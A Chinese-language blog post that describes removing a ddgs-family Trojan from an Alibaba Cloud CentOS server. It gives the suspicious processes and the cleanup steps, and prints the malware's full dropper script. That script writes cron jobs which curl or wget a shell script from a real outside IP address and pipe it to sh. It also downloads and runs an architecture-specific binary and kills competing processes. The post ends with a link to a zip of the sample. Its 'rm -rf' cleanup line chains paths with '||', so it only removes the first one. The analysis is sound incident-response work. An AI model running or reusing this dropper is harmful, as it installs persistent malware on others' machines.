系统:CentOS
平台:阿里云

说明

通过 top 查看,CPU 资源消耗居然不大,就是 wa 内存占用飙升;找到两个可疑进程:
image.png

  1. 2354 root 20 0 183000 48876 0 S 2.3 2.6 0:44.26 /usr/bin/omasfa8
  2. 2467 root 20 0 2432780 1.4g 236 S 0.7 76.4 0:47.75 /tmp/Donald

操作

1.使用 kill -9 PID 强制杀掉进程;
2.使用 rm -rf /usr/bin/omasfa8||/usr/libexec/omasfa8||/usr/local/bin/omasfa8||/tmp/Donald 删除可能遗留存的路径;
3.crontab -r 删除定时任务或者 crontab -e 编辑定时任务。
image.png

木马

  1. export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
  2. mkdir -p /var/spool/cron/crontabs
  3. echo "" > /var/spool/cron/root
  4. echo "*/15 * * * * (/usr/bin/omasfa8||/usr/libexec/omasfa8||/usr/local/bin/omasfa8||/tmp/omasfa8||curl -fsSL -m180 http://140.143.145.178:7478/i.sh||wget -q -T180 -O- http://140.143.145.178:7478/i.sh) | sh" >> /var/spool/cron/root
  5. cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
  6. cd /tmp
  7. touch /usr/local/bin/writeable && cd /usr/local/bin/
  8. touch /usr/libexec/writeable && cd /usr/libexec/
  9. touch /usr/bin/writeable && cd /usr/bin/
  10. rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
  11. export PATH=$PATH:$(pwd)
  12. ps auxf | grep -v grep | grep omasfa8 || rm -rf omasfa8
  13. if [ ! -f "omasfa8" ]; then
  14. curl -fsSL -m1800 http://140.143.145.178:7478/static/4008/ddgs.$(uname -m) -o omasfa8||wget -q -T1800 http://140.143.145.178:7478/static/4008/ddgs.$(uname -m) -O omasfa8
  15. fi
  16. chmod +x omasfa8
  17. /usr/bin/omasfa8||/usr/libexec/omasfa8||/usr/local/bin/omasfa8||/tmp/omasfa8
  18. ps auxf | grep -v grep | grep omasbcb | awk '{print $2}' | xargs kill -9
  19. ps auxf | grep -v grep | grep omasbcc | awk '{print $2}' | xargs kill -9
  20. ps auxf | grep -v grep | grep omasbcd | awk '{print $2}' | xargs kill -9
  21. ps auxf | grep -v grep | grep omasbce | awk '{print $2}' | xargs kill -9
  22. ps auxf | grep -v grep | grep omasfa0 | awk '{print $2}' | xargs kill -9
  23. ps auxf | grep -v grep | grep omasfa1 | awk '{print $2}' | xargs kill -9
  24. ps auxf | grep -v grep | grep omasfa2 | awk '{print $2}' | xargs kill -9
  25. ps auxf | grep -v grep | grep omasfa3 | awk '{print $2}' | xargs kill -9
  26. ps auxf | grep -v grep | grep omasfa4 | awk '{print $2}' | xargs kill -9
  27. echo "*/15 * * * * (/usr/bin/omasfa8||/usr/libexec/omasfa8||/usr/local/bin/omasfa8||/tmp/omasfa8||curl -m180 -fsSL http://140.143.145.178:7478/i.sh||wget -q -T180 -O- http://140.143.145.178:7478/i.sh) | sh" | crontab -

大致思路是:按机器硬件名下载相应的程序,写入 omasfa8 然后运行并定时检查。
将下载的运行程序拷贝到 Windows 下用火绒扫描提示木马病毒:Trojan/linux.Lady.a;
https://yun.yuwei.cc/Trojan/ddgs.zip